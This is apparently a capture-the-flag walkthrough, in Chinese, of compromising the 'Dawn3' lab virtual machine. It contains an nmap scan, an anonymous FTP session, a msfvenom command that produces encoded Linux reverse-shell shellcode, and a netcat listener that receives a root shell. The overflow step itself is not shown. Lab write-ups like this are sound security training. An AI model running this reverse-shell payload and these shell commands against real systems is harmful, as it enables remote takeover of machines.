┌──(kali㉿kali)-[~/Downloads/dawn3] └─$ sudo nmap -sT -sV -sC -O -p2100,6812 192.168.56.148 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 03:45 EDT Nmap scan report for 192.168.56.148 Host is up (0.00032s latency).
PORT STATE SERVICE VERSION 2100/tcp open ftp pyftpdlib 1.5.6 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.56.148:2100 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwsrwxrwx 1 dawn3 dawn3 292728 Mar 08 2020 dawn3.exe [NSE: writeable] 6812/tcp open unknown MAC Address: 08:00:27:06:69:F3 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop
FTP 可匿名登录,操作系统是 Linux ,寻找敏感文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(kali㉿kali)-[~/Downloads/dawn3] └─$ ftp 192.168.56.148 2100 Connected to 192.168.56.148. 220 pyftpdlib 1.5.6 ready. Name (192.168.56.148:kali): anonymous 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> binary 200 Type set to: Binary. ftp> ls 229 Entering extended passive mode (|||44611|). 125 Data connection already open. Transfer starting. -rwsrwxrwx 1 dawn3 dawn3 292728 Mar 08 2020 dawn3.exe 226 Transfer complete.
发现了一个 exe 文件,下载到本地查看
1 2 3
┌──(kali㉿kali)-[~/Downloads/dawn3] └─$ file dawn3.exe dawn3.exe: PE32 executable (console) Intel 80386, for MS Windows, 15 sections
我们前期信息收集已经得知了目标是 Linux,所以我们需要把 shellcode 修改为 Linux 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(kali㉿kali)-[~/Downloads/dawn3] └─$ sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.106 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of c file: 425 bytes unsigned char buf[] = "\xd9\xcd\xbd\xc2\x91\xc4\x0b\xd9\x74\x24\xf4\x58\x2b\xc9" "\xb1\x12\x31\x68\x17\x03\x68\x17\x83\x2a\x6d\x26\xfe\x9b" "\x55\x50\xe2\x88\x2a\xcc\x8f\x2c\x24\x13\xff\x56\xfb\x54" "\x93\xcf\xb3\x6a\x59\x6f\xfa\xed\x98\x07\x3d\xa5\x63\xbd" "\xd5\xb4\x93\x40\x9d\x30\x72\xf2\x87\x12\x24\xa1\xf4\x90" "\x4f\xa4\x36\x16\x1d\x4e\xa7\x38\xd1\xe6\x5f\x68\x3a\x94" "\xf6\xff\xa7\x0a\x5a\x89\xc9\x1a\x57\x44\x89";
┌──(kali㉿kali)-[~/Downloads/dawn3] └─$ sudo nc -lvnp 443 listening on [any] 443 ... connect to [192.168.56.106] from (UNKNOWN) [192.168.56.148] 59420 whoami root id uid=0(root) gid=0(root) groups=0(root) cd /root ls root.txt cat root.txt Thanks for playing! - Felipe Winsnes (@whitecr0wz)
3ca74b4afc790b46ff47fc2db5676b4f which python /usr/bin/python python -c "import pty;pty.spawn('/bin/bash')" root@dawn3:/root# ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:06:69:f3 brd ff:ff:ff:ff:ff:ff inet 192.168.56.148/24 brd 192.168.56.255 scope global dynamic enp0s3 valid_lft 439sec preferred_lft 439sec inet6 fe80::a00:27ff:fe06:69f3/64 scope link valid_lft forever preferred_lft forever root@dawn3:/root# uname -a uname -a Linux dawn3 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux root@dawn3:/root# sudo -l sudo -l bash: sudo: command not found